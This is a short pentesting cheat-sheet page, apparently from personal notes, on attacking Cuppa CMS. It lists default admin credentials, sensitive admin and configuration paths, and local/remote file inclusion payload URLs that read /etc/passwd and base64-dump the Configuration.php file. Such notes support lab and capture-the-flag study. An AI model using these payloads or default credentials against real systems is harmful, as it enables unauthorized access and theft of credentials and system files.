> For the complete documentation index, see [llms.txt](https://kashz.gitbook.io/kashz-jewels/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kashz.gitbook.io/kashz-jewels/services/cuppa-cms.md).

# cuppa cms

## Default Creds

```
admin:admin
# authenticated
- IP/administrator/?option=com_general_config
```

## Interesting Paths

```bash
/administrator
/administrator/Configuration.php
```

### LFI / RFI

```
https://www.exploit-db.com/exploits/25971
# /administrator/alerts/alertConfigField.php?urlConfig=/etc/passwd
# /administrator/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
```

##